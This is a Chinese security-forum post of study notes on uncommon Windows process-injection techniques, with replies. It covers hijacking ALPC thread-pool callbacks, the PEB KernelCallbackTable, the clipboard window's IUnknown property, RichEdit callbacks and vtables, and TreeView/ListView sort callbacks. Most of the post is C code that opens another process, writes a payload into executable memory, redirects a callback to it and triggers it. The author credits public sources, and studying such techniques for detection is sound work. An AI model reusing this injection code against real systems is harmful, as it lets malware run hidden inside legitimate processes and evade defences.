首页
社区
课程
招聘
[原创]Windows不太常见的进程注入学习小记(二)
发表于: 2020-8-20 19:45 11074

[原创]Windows不太常见的进程注入学习小记(二)

2020-8-20 19:45
11074

这个只是我学习的笔记,真正的代码实现都是网上有人已经公开了的,给了参考链接了,这不是我发现的也不是我研究的,这只是我学习的。

本地过程调用LPCLocal Procedure Call,通常也被称为轻量过程调用或者本地进程间通信是一种由Windows NT内核提供的内部进程间通信方式。通过这一方式,同一计算机上的进程可以进行轻量的通信。在Windows Vista中,ALPCAdvanced Local Procedure Call,高级本地进程通信)替代了LPC。ALPC提供了一个高速可度量的通信机制,这样便于实现需要在用户模式下高速通信的用户模式驱动程序框架(UMDF,User-Mode Driver Framework)(搜索引擎查的)。

按照 Alex Ionescu在 syscan2014上的发言,即使最简单的windows程序都会有ALPC连接。可以用ProcessExplorer查看每个进程的ALPC Port的名字。我查看得情况确实是这样的。

与ALPC的中的回调保存地址有关的结构体:TP_CALLBACK_OBJECT

其中TP_SIMPLE_CALLBACK是保存回调函数地址的结构,第二个参数是函数参数。为:
其中TP_SIMPLE_CALLBACK是保存回调函数地址的结构,第二个参数是函数参数。为:

根据文章内容和代码,我只能确定构造后的Context参数为TP_SIMPLE_CALLBACK本身所在的地址。

通过进程名拿到要注入的目标进程id,通过进程id获取进程句柄。

通过NtQuerySystemInformation,传0x10(SystemHandleInformation)参数获取句柄信息。

判断循环判断句柄是否是属于要注入的目标进程的ALPC端口对象。

判断句柄所属进程的pid是不是目标进程

判断句柄类型是不是45...文章说不同的操作系统版本这个值不太一样,windows10是45。

搜索进程内存,找到进程中的PTP_CALLBACK_OBJECT结构体。

对找到的结构进行HOOK

https://conference.hitb.org/hitbsecconf2014kul/materials/D2T1%20-%20Ben%20Nagy%20-%20ALPC%20Fuzzing%20Toolkit.pdf

https://blog.csdn.net/weixin_43787608/article/details/84555474

KernelCallBackTable是一个结构体,可以通过PEB来找到这个结构体的地址,当程序调用USER32.DLL时,KernelCallbackTable就会被初始化为函数数组。这个函数数组中的函数通常用于响应窗口消息,例如,_fnCOPYDATA是响应WM_COPYDATA消息而执行的。

PEB结构体中的KernelCallbackTable结构所在位置:

KernelCallBackTable结构体:

例子程序中HOOK的是WM_COPYDATA的响应函数fnCOPYDATA

还是根据窗口名获取进程id获取进程句柄。

使用NtQueryInformationProcess传入ProcessBasicInformation来获取目标进程的PEB。

根据偏移找到KernelCallbackTable

HOOK KernelCallbackTable 中的fnCOPYDATA。

发消息触发HOOK

恢复KernelCallbackTable

CLIPBRDWNDCLASS这个窗口类通常与剪切板相关,类中的属性中有处理剪切板数据所需的函数地址。这里主要用ClipboardDataObjectInterface的属性实现进程注入。ClipboardRootDataObjectInterface和ClipboardDataObjectInterfaceMTA这两个属性也可以利用。

当使用SetProp这个API将属性ClipboardDataObjectInterface设置为IUnknown接口的地址后向该窗口发送WM_DESTROYCLIPBOARD消息,将会调用IUnknown接口中的Release方法。

IUnknown接口结构(冒牌货):

根据窗口类名找到窗口句柄,找到进程pid找到进程句柄。

在找到的进程之中申请内存构造IUnknow接口,将接口中的release设置为写入的payload的地址 ,将虚表设置为下个四字节的地址。

设置属性值,并发送消息触发自定义的payload。

RichEdit控件是一个可用于输入、编辑、格式化、打印和保存文本的窗口空间。该控件中有许多的回调函数用于处理不同的消息。

这一次利用的消息有:

通过该消息可以设置当有键盘按键事件发生时的消息回调。

找到具有RICHEDIT50W窗口类的空间,测试代码为了测试是直接通过写字板应用程序测试的。

获取当前Wordwrap函数的地址,和写字板的进程ID,打开该进程。

在写字板进程中申请内存写入payload,将消息回调设置为payload的地址。

模拟键盘输入操作触发payload,然后恢复窗口回调。

当RIchEdit控件收到EM_STREAMIN消息时候,将会使用EDITSTREAM结构将数据传入或者传出控件。

其中为EDITSTREAMCALLBACK类型的pfnCallback字段可以用于指向payload。当使用这个方法的时候,控件中的文本内容将会被删除。

获取相应进程信息

申请内存,创建EDITSTREAM对象

触发payload

​ 这个其实和消息回调关系不大,EM_GETOLECALLBACK可以获取虚表执政,主要是用于HOOK RichEditOle的虚表指针,将整个虚表指针hook。以下是该控件虚表指针的虚表原型。

老样子

查询接口

读取虚表指针地址

读取虚表内容

将虚表指针进行HOOK,构造虚表,将表中关于WM_COPY的回调函数修改为payload的的地址并触发消息。

主要以获取treelist的句柄之后,获取treelist的第一项,构造TVSORTCB结构,对treelist第一项发送消息TVM_SORTCHILDRENCB,触发TVSORTCB结构中的payload。

老规矩,不过这一次实验是通过注册表实现的

获取treelist的根节点,构造TVSORTCB结构。发送TVM_SORTCHILDRENCB以触发结构中的payload。

这个比较简单,直接获取treelist控件,发送消息LVM_SORTITEMS以运行payload。有个缺点就是treelist的子tree都会响应这个消息。。。想想就很恐怖。

 
 
 
 
 
typedef struct _TP_CALLBACK_OBJECT {
    ULONG                             RefCount;
    PVOID                             CleanupGroupMember;
    PTP_CLEANUP_GROUP                 CleanupGroup;
    PTP_CLEANUP_GROUP_CANCEL_CALLBACK CleanupGroupCancelCallback;
    PTP_SIMPLE_CALLBACK               FinalizationCallback;
    LIST_ENTRY                        WorkList;
    ULONG64                           Barrier;
    ULONG64                           Unknown1;
    SRWLOCK                           SharedLock;
    TP_SIMPLE_CALLBACK                Callback;
    PACTIVATION_CONTEXT               ActivationContext;
    ULONG64                           SubProcessTag;
    GUID                              ActivityId;
    BOOL                              WorkingOnBehalfTicket;
    PVOID                             RaceDll;
    PTP_POOL                          Pool;
    LIST_ENTRY                        GroupList;
    ULONG                             Flags;
    TP_SIMPLE_CALLBACK                CallerAddress;
    TP_CALLBACK_PRIORITY              CallbackPriority;
} TP_CALLBACK_OBJECT, *PTP_CALLBACK_OBJECT;
typedef struct _TP_SIMPLE_CALLBACK {
    PVOID                             Function;
    PVOID                             Context;
} TP_SIMPLE_CALLBACK;
pi->hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pi->pid);
    if(pi->hp==NULL) return FALSE;
 for(len=MAX_BUFSIZ;;len+=MAX_BUFSIZ) {
      list = xmalloc(len);
      status = NtQuerySystemInformation(
          SystemHandleInformation, list, len, &total);
      // break from loop if ok    
      if(NT_SUCCESS(status)) break;
      // free list and continue
      xfree(list);   
    }
for(i=0; i<hl->NumberOfHandles; i++) {
      if(hl->Handles[i].UniqueProcessId != pi->pid) continue;
      if(hl->Handles[i].ObjectTypeIndex != 45) continue;

      // duplicate the handle object
      status = NtDuplicateObject(
            pi->hp, (HANDLE)hl->Handles[i].HandleValue, 
            GetCurrentProcess(), &hObj, 0, 0, 0);

      // continue with next entry if we failed
      if(!NT_SUCCESS(status)) continue;

      // try query the name
      status = NtQueryObject(hObj, 
          ObjectNameInformation, objName, 8192, NULL);

      // got it okay?
      if(NT_SUCCESS(status) && objName->Name.Buffer!=NULL) {
        // save to list
        pi->ports.push_back(objName->Name.Buffer);
      }
      // close handle object
      NtClose(hObj); 
    }
BOOL IsValidTCO(HANDLE hProcess, PTP_CALLBACK_OBJECT tco) {
    MEMORY_BASIC_INFORMATION mbi;
    SIZE_T                   res;

    // if it's a callback, these values shouldn't be empty  
    if(tco->CleanupGroupMember     == NULL ||
       tco->Pool                   == NULL ||
       tco->CallerAddress.Function == NULL ||
       tco->Callback.Function      == NULL) return FALSE;

    // the CleanupGroupMember should reside in read-only
    // area of image
    res = VirtualQueryEx(hProcess, 
      (LPVOID)tco->CleanupGroupMember, &mbi, sizeof(mbi));

    if (res != sizeof(mbi)) return FALSE;
    if (!(mbi.Protect & PAGE_READONLY)) return FALSE;
    if (!(mbi.Type & MEM_IMAGE)) return FALSE;

    // the pool object should reside in read+write memory
    res = VirtualQueryEx(hProcess, 
      (LPVOID)tco->Pool, &mbi, sizeof(mbi));

    if (res != sizeof(mbi)) return FALSE;
    if (!(mbi.Protect & PAGE_READWRITE)) return FALSE;

    // the caller function should reside in read+executable memory
    res = VirtualQueryEx(hProcess, 
      (LPCVOID)tco->CallerAddress.Function, &mbi, sizeof(mbi));

    if (res != sizeof(mbi)) return FALSE;
    if (!(mbi.Protect & PAGE_EXECUTE_READ)) return FALSE;

    // the callback function should reside in read+executable memory
    res = VirtualQueryEx(hProcess, 
      (LPCVOID)tco->Callback.Function, &mbi, sizeof(mbi));

    if (res != sizeof(mbi)) return FALSE;
    return (mbi.Protect & PAGE_EXECUTE_READ);    
}
bFound=IsValidTCO(pi->hp, &tco);
      if(bFound) {
        // obtain module name where callback resides
        GetMappedFileName(pi->hp, (LPVOID)tco.Callback.Function, filename, MAX_PATH);
        // filter by RPCRT4.dll
        if(StrStrI(filename, L"RPCRT4.dll")!=NULL) {
          wprintf(L"Found TCO at %p for %s\n",  addr+pos, filename);
          // try run payload using this TCO
          // if successful, end scan
          bInject = ALPC_deploy(pi, addr+pos, &tco);
          if (bInject) break;
        }
      }
BOOL ALPC_deploy(process_info *pi, LPVOID ds, PTP_CALLBACK_OBJECT tco) {
    LPVOID             cs = NULL;
    BOOL               bInject = FALSE;
    TP_CALLBACK_OBJECT cpy;    // local copy of tco
    SIZE_T             wr;
    TP_SIMPLE_CALLBACK tp;
    DWORD              i;

    // allocate memory in remote for payload and callback parameter
    cs = VirtualAllocEx(pi->hp, NULL, 
      pi->payloadSize + sizeof(TP_SIMPLE_CALLBACK), 
      MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    if (cs != NULL) {
        // write payload to remote process
        WriteProcessMemory(pi->hp, cs, pi->payload, pi->payloadSize, &wr);
        // backup TCO
        CopyMemory(&cpy, tco, sizeof(TP_CALLBACK_OBJECT));
        // copy original callback address and parameter
        tp.Function = cpy.Callback.Function;
        tp.Context  = cpy.Callback.Context;
        // write callback+parameter to remote process
        WriteProcessMemory(pi->hp, (LPBYTE)cs + pi->payloadSize, &tp, sizeof(tp), &wr);
        // update original callback with address of payload and parameter
        cpy.Callback.Function = cs;
        cpy.Callback.Context  = (LPBYTE)cs + pi->payloadSize;
        // update TCO in remote process
        WriteProcessMemory(pi->hp, ds, &cpy, sizeof(cpy), &wr);
        // trigger execution of payload
        for(i=0;i<pi->ports.size(); i++) {
          ALPC_Connect(pi->ports[i]);
          // read back the TCO
          ReadProcessMemory(pi->hp, ds, &cpy, sizeof(cpy), &wr);
          // if callback pointer is the original, we succeeded.
          bInject = (cpy.Callback.Function == tco->Callback.Function);
          if(bInject) break;
        }
        // restore the original tco
        WriteProcessMemory(pi->hp, ds, tco, sizeof(cpy), &wr);
        // release memory for payload
        VirtualFreeEx(pi->hp, cs, 
          pi->payloadSize+sizeof(tp), MEM_RELEASE);
    }
    return bInject;
}
typedef struct _PEB
{
    BOOLEAN InheritedAddressSpace;      // These four fields cannot change unless the
    BOOLEAN ReadImageFileExecOptions;   //
    BOOLEAN BeingDebugged;              //
    BOOLEAN SpareBool;                  //
    HANDLE Mutant;                      // INITIAL_PEB structure is also updated.

    PVOID ImageBaseAddress;
    PPEB_LDR_DATA Ldr;
    PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
    PVOID SubSystemData;
    PVOID ProcessHeap;
    PVOID FastPebLock;
    PVOID FastPebLockRoutine;
    PVOID FastPebUnlockRoutine;
    ULONG EnvironmentUpdateCount;
    PVOID KernelCallbackTable;
    // ...snipped
typedef struct _KERNELCALLBACKTABLE_T {
    ULONG_PTR __fnCOPYDATA;
    ULONG_PTR __fnCOPYGLOBALDATA;
    ULONG_PTR __fnDWORD;
    ULONG_PTR __fnNCDESTROY;
    ULONG_PTR __fnDWORDOPTINLPMSG;
    ULONG_PTR __fnINOUTDRAG;
    ULONG_PTR __fnGETTEXTLENGTHS;
    ULONG_PTR __fnINCNTOUTSTRING;
    ULONG_PTR __fnPOUTLPINT;
    ULONG_PTR __fnINLPCOMPAREITEMSTRUCT;
    ULONG_PTR __fnINLPCREATESTRUCT;
    ULONG_PTR __fnINLPDELETEITEMSTRUCT;
    ULONG_PTR __fnINLPDRAWITEMSTRUCT;
    ULONG_PTR __fnPOPTINLPUINT;
    ULONG_PTR __fnPOPTINLPUINT2;
    ULONG_PTR __fnINLPMDICREATESTRUCT;
    ULONG_PTR __fnINOUTLPMEASUREITEMSTRUCT;
    ULONG_PTR __fnINLPWINDOWPOS;
    ULONG_PTR __fnINOUTLPPOINT5;
    ULONG_PTR __fnINOUTLPSCROLLINFO;
    ULONG_PTR __fnINOUTLPRECT;
    ULONG_PTR __fnINOUTNCCALCSIZE;
    ULONG_PTR __fnINOUTLPPOINT5_;
    ULONG_PTR __fnINPAINTCLIPBRD;
    ULONG_PTR __fnINSIZECLIPBRD;
    ULONG_PTR __fnINDESTROYCLIPBRD;
    ULONG_PTR __fnINSTRING;
    ULONG_PTR __fnINSTRINGNULL;
    ULONG_PTR __fnINDEVICECHANGE;
    ULONG_PTR __fnPOWERBROADCAST;
    ULONG_PTR __fnINLPUAHDRAWMENU;
    ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD;
    ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD_;
    ULONG_PTR __fnOUTDWORDINDWORD;
    ULONG_PTR __fnOUTLPRECT;
    ULONG_PTR __fnOUTSTRING;
    ULONG_PTR __fnPOPTINLPUINT3;
    ULONG_PTR __fnPOUTLPINT2;
    ULONG_PTR __fnSENTDDEMSG;
    ULONG_PTR __fnINOUTSTYLECHANGE;
    ULONG_PTR __fnHkINDWORD;
    ULONG_PTR __fnHkINLPCBTACTIVATESTRUCT;
    ULONG_PTR __fnHkINLPCBTCREATESTRUCT;
    ULONG_PTR __fnHkINLPDEBUGHOOKSTRUCT;
    ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX;
    ULONG_PTR __fnHkINLPKBDLLHOOKSTRUCT;
    ULONG_PTR __fnHkINLPMSLLHOOKSTRUCT;
    ULONG_PTR __fnHkINLPMSG;
    ULONG_PTR __fnHkINLPRECT;
    ULONG_PTR __fnHkOPTINLPEVENTMSG;
    ULONG_PTR __xxxClientCallDelegateThread;
    ULONG_PTR __ClientCallDummyCallback;
    ULONG_PTR __fnKEYBOARDCORRECTIONCALLOUT;
    ULONG_PTR __fnOUTLPCOMBOBOXINFO;
    ULONG_PTR __fnINLPCOMPAREITEMSTRUCT2;
    ULONG_PTR __xxxClientCallDevCallbackCapture;
    ULONG_PTR __xxxClientCallDitThread;
    ULONG_PTR __xxxClientEnableMMCSS;
    ULONG_PTR __xxxClientUpdateDpi;
    ULONG_PTR __xxxClientExpandStringW;
    ULONG_PTR __ClientCopyDDEIn1;
    ULONG_PTR __ClientCopyDDEIn2;
    ULONG_PTR __ClientCopyDDEOut1;
    ULONG_PTR __ClientCopyDDEOut2;
    ULONG_PTR __ClientCopyImage;
    ULONG_PTR __ClientEventCallback;
    ULONG_PTR __ClientFindMnemChar;
    ULONG_PTR __ClientFreeDDEHandle;
    ULONG_PTR __ClientFreeLibrary;
    ULONG_PTR __ClientGetCharsetInfo;
    ULONG_PTR __ClientGetDDEFlags;
    ULONG_PTR __ClientGetDDEHookData;
    ULONG_PTR __ClientGetListboxString;
    ULONG_PTR __ClientGetMessageMPH;
    ULONG_PTR __ClientLoadImage;
    ULONG_PTR __ClientLoadLibrary;
    ULONG_PTR __ClientLoadMenu;
    ULONG_PTR __ClientLoadLocalT1Fonts;
    ULONG_PTR __ClientPSMTextOut;
    ULONG_PTR __ClientLpkDrawTextEx;
    ULONG_PTR __ClientExtTextOutW;
    ULONG_PTR __ClientGetTextExtentPointW;
    ULONG_PTR __ClientCharToWchar;
    ULONG_PTR __ClientAddFontResourceW;
    ULONG_PTR __ClientThreadSetup;
    ULONG_PTR __ClientDeliverUserApc;
    ULONG_PTR __ClientNoMemoryPopup;
    ULONG_PTR __ClientMonitorEnumProc;
    ULONG_PTR __ClientCallWinEventProc;
    ULONG_PTR __ClientWaitMessageExMPH;
    ULONG_PTR __ClientWOWGetProcModule;
    ULONG_PTR __ClientWOWTask16SchedNotify;
    ULONG_PTR __ClientImmLoadLayout;
    ULONG_PTR __ClientImmProcessKey;
    ULONG_PTR __fnIMECONTROL;
    ULONG_PTR __fnINWPARAMDBCSCHAR;
    ULONG_PTR __fnGETTEXTLENGTHS2;
    ULONG_PTR __fnINLPKDRAWSWITCHWND;
    ULONG_PTR __ClientLoadStringW;
    ULONG_PTR __ClientLoadOLE;
    ULONG_PTR __ClientRegisterDragDrop;
    ULONG_PTR __ClientRevokeDragDrop;
    ULONG_PTR __fnINOUTMENUGETOBJECT;
    ULONG_PTR __ClientPrinterThunk;
    ULONG_PTR __fnOUTLPCOMBOBOXINFO2;
    ULONG_PTR __fnOUTLPSCROLLBARINFO;
    ULONG_PTR __fnINLPUAHDRAWMENU2;
    ULONG_PTR __fnINLPUAHDRAWMENUITEM;
    ULONG_PTR __fnINLPUAHDRAWMENU3;
    ULONG_PTR __fnINOUTLPUAHMEASUREMENUITEM;
    ULONG_PTR __fnINLPUAHDRAWMENU4;
    ULONG_PTR __fnOUTLPTITLEBARINFOEX;
    ULONG_PTR __fnTOUCH;
    ULONG_PTR __fnGESTURE;
    ULONG_PTR __fnPOPTINLPUINT4;
    ULONG_PTR __fnPOPTINLPUINT5;
    ULONG_PTR __xxxClientCallDefaultInputHandler;
    ULONG_PTR __fnEMPTY;
    ULONG_PTR __ClientRimDevCallback;
    ULONG_PTR __xxxClientCallMinTouchHitTestingCallback;
    ULONG_PTR __ClientCallLocalMouseHooks;
    ULONG_PTR __xxxClientBroadcastThemeChange;
    ULONG_PTR __xxxClientCallDevCallbackSimple;
    ULONG_PTR __xxxClientAllocWindowClassExtraBytes;
    ULONG_PTR __xxxClientFreeWindowClassExtraBytes;
    ULONG_PTR __fnGETWINDOWDATA;
    ULONG_PTR __fnINOUTSTYLECHANGE2;
    ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX2;
} KERNELCALLBACKTABLE;
NtQueryInformationProcess(hp, 
      ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
ReadProcessMemory(hp, pbi.PebBaseAddress, 
      &peb, sizeof(peb), &rd);

ReadProcessMemory(hp, peb.KernelCallbackTable,
      &kct, sizeof(kct), &rd);
  cs = VirtualAllocEx(hp, NULL, payloadSize,MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);

// 4. Write the new table to remote process
ds = VirtualAllocEx(hp, NULL, sizeof(kct),
    MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
kct.__fnCOPYDATA = (ULONG_PTR)cs;
WriteProcessMemory(hp, ds, &kct, sizeof(kct), &wr);

// 5. Update the PEB
WriteProcessMemory(hp, 
  (PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable),
  &ds, sizeof(ULONG_PTR), &wr);
    cds.dwData = 1;
    cds.cbData = lstrlen(msg) * 2;
    cds.lpData = msg;

    SendMessage(hw, WM_COPYDATA, (WPARAM)hw, (LPARAM)&cds);
WriteProcessMemory(hp,
      (PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable),
      &peb.KernelCallbackTable, sizeof(ULONG_PTR), &wr);
typedef struct _IUnknown_t {
    // a pointer to virtual function table
    ULONG_PTR lpVtbl;
    // the virtual function table
    ULONG_PTR QueryInterface;
    ULONG_PTR AddRef;
    ULONG_PTR Release;       // executed for                     WM_DESTROYCLIPBOARD
} IUnknown_t;
hw = FindWindowEx(HWND_MESSAGE, NULL, L"CLIPBRDWNDCLASS", NULL);
GetWindowThreadProcessId(hw, &id);
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
cs = VirtualAllocEx(hp, NULL, payloadSize,MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
// 3. Allocate RW memory in process.
//    Initialize and write IUnknown interface
ds = VirtualAllocEx(hp, NULL, sizeof(IUnknown_t),MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
iu.lpVtbl  = (ULONG_PTR)ds + sizeof(ULONG_PTR);
iu.Release = (ULONG_PTR)cs;
WriteProcessMemory(hp, ds, &iu, sizeof(IUnknown_t), &wr);
 // 4. Set the interface property and trigger execution
    SetProp(hw, L"ClipboardDataObjectInterface", ds);
    PostMessage(hw, WM_DESTROYCLIPBOARD, 0, 0);
wpw = FindWindow(L"WordPadClass", NULL);

    // 2. Find the rich edit control for wordpad.
rew = FindWindowEx(wpw, NULL, L"RICHEDIT50W", NULL);
wwf = (LPVOID)SendMessage(rew, EM_GETWORDBREAKPROC, 0, 0);

// 4. Obtain the process id for wordpad.
GetWindowThreadProcessId(rew, &id);
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
 cs = VirtualAllocEx(hp, NULL, payloadSize,
        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // 7. Write the payload to memory
    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);

    // 8. Update the callback procedure
    SendMessage(rew, EM_SETWORDBREAKPROC, 0, (LPARAM)cs);
ip.type           = INPUT_KEYBOARD;
    ip.ki.wVk         = 'A';
    ip.ki.wScan       = 0;
    ip.ki.dwFlags     = 0;
    ip.ki.time        = 0;
    ip.ki.dwExtraInfo = 0;

    SetForegroundWindow(wpw);
    SendInput(1, &ip, sizeof(ip));
    SendInput(1, &ip, sizeof(ip));

    // 10. Restore original Wordwrap function
    SendMessage(rew, EM_SETWORDBREAKPROC, 0, (LPARAM)wwf);
typedef struct _editstream
{
    DWORD_PTR dwCookie;     // User value passed to callback as first parameter 
    DWORD      dwError;        // Last error 
    EDITSTREAMCALLBACK pfnCallback;
} EDITSTREAM;
wpw = FindWindow(L"WordPadClass", NULL);
rew = FindWindowEx(wpw, NULL, L"RICHEDIT50W", NULL);

    // 2. Obtain the process id and try to open process
GetWindowThreadProcessId(rew, &id);
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
// 3. Allocate RWX memory and copy the payload there.
    cs = VirtualAllocEx(hp, NULL, payloadSize,
        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);

    // 4. Allocate RW memory and copy the EDITSTREAM structure there.
    ds = VirtualAllocEx(hp, NULL, sizeof(EDITSTREAM),
        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    es.dwCookie    = 0;
    es.dwError     = 0;
    es.pfnCallback = cs;

    WriteProcessMemory(hp, ds, &es, sizeof(EDITSTREAM), &wr);
// 5. Trigger payload with EM_STREAMIN
    SendMessage(rew, EM_STREAMIN, SF_TEXT, (LPARAM)ds);
typedef struct _IRichEditOle_t {
    ULONG_PTR QueryInterface;
    ULONG_PTR AddRef;
    ULONG_PTR Release;
    ULONG_PTR GetClientSite;
    ULONG_PTR GetObjectCount;
    ULONG_PTR GetLinkCount;
    ULONG_PTR GetObject;
    ULONG_PTR InsertObject;
    ULONG_PTR ConvertObject;
    ULONG_PTR ActivateAs;
    ULONG_PTR SetHostNames;
    ULONG_PTR SetLinkAvailable;
    ULONG_PTR SetDvaspect;
    ULONG_PTR HandsOffStorage;
    ULONG_PTR SaveCompleted;
    ULONG_PTR InPlaceDeactivate;
    ULONG_PTR ContextSensitiveHelp;
    ULONG_PTR GetClipboardData;
    ULONG_PTR ImportDataObject;
} _IRichEditOle;
rew = FindWindow(L"WordPadClass", NULL);
    rew = FindWindowEx(rew, NULL, L"RICHEDIT50W", NULL);

    // 2. Obtain the process id and try to open process
    GetWindowThreadProcessId(rew, &id);
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);

    // 3. Allocate RWX memory and copy the payload there
    cs = VirtualAllocEx(hp, NULL, payloadSize, 
      MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
// 5. Query the interface
SendMessage(rew, EM_GETOLEINTERFACE, 0, (LPARAM)ptr);
// 6. Read the memory address
ReadProcessMemory(hp, ptr, &mem, sizeof(ULONG_PTR), &wr);
// 7. Read IRichEditOle.lpVtbl
    ReadProcessMemory(hp, mem, &tbl, sizeof(ULONG_PTR), &wr);

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 12
支持
分享
最新回复 (9)
雪    币: 23080
活跃值: (3432)
能力值: (RANK:648 )
在线值:
发帖
回帖
粉丝
2
学习,总结,分享,为楼主点个赞
2020-8-21 11:28
0
雪    币: 73
活跃值: (3095)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
3
KevinsBobo 学习,总结,分享,为楼主点个赞[em_63]
谢谢版主大大
2020-8-21 11:35
0
雪    币: 3496
活跃值: (749)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
谢谢分享。。。
2020-8-22 09:39
0
雪    币: 9934
活跃值: (2554)
能力值: ( LV6,RANK:87 )
在线值:
发帖
回帖
粉丝
5
2020-8-22 22:38
0
雪    币: 26205
活跃值: (63302)
能力值: (RANK:135 )
在线值:
发帖
回帖
粉丝
6
感谢分享!
2020-8-24 10:19
0
雪    币: 919
活跃值: (1340)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
7
最近刚逆了KeUserModeCallBack,感谢大佬提供思路。
2020-8-26 18:11
0
雪    币: 2157
活跃值: (12639)
能力值: ( LV12,RANK:312 )
在线值:
发帖
回帖
粉丝
8
步骤清晰
2020-8-26 18:20
0
雪    币: 6
活跃值: (556)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
楼主收藏你俩篇文章了,全是进程注入的偏方哈哈,是不是经常干坏事啊你
2020-10-26 05:35
0
雪    币: 65
活跃值: (447)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
10
发帖Mark
2020-11-17 14:36
0
游客
登录 | 注册 方可回帖
返回
//